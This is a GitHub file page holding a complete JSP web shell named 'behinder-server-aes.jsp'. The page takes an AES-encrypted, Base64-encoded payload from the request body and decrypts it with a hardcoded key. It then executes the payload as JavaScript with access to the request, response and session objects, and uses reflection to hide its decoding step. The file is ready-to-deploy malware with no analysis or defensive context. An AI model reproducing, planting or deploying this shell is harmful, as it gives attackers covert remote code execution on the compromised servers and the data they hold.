-
Notifications
You must be signed in to change notification settings - Fork 1
/
behinder-server-aes.jsp
32 lines (30 loc) · 1.29 KB
/
behinder-server-aes.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%@ page import="javax.script.ScriptEngine" %>
<%@ page import="javax.script.ScriptException" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<%
ScriptEngine engine = (new javax.script.ScriptEngineManager()).getEngineByName("js");
engine.put("request",request);
engine.put("response",response);
engine.put("session",session);
engine.put("pageContext",pageContext);
String s = request.getReader().readLine();
// AES decrypt start
byte[] data = s.getBytes();
String k="PadishahPadishah";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
byte[] ss= c.doFinal(decodebs);
// AES decrypt end
s = new String(ss,StandardCharsets.UTF_8);
try {
engine.eval(s);
} catch (ScriptException e) {
throw new RuntimeException(e);
}
%>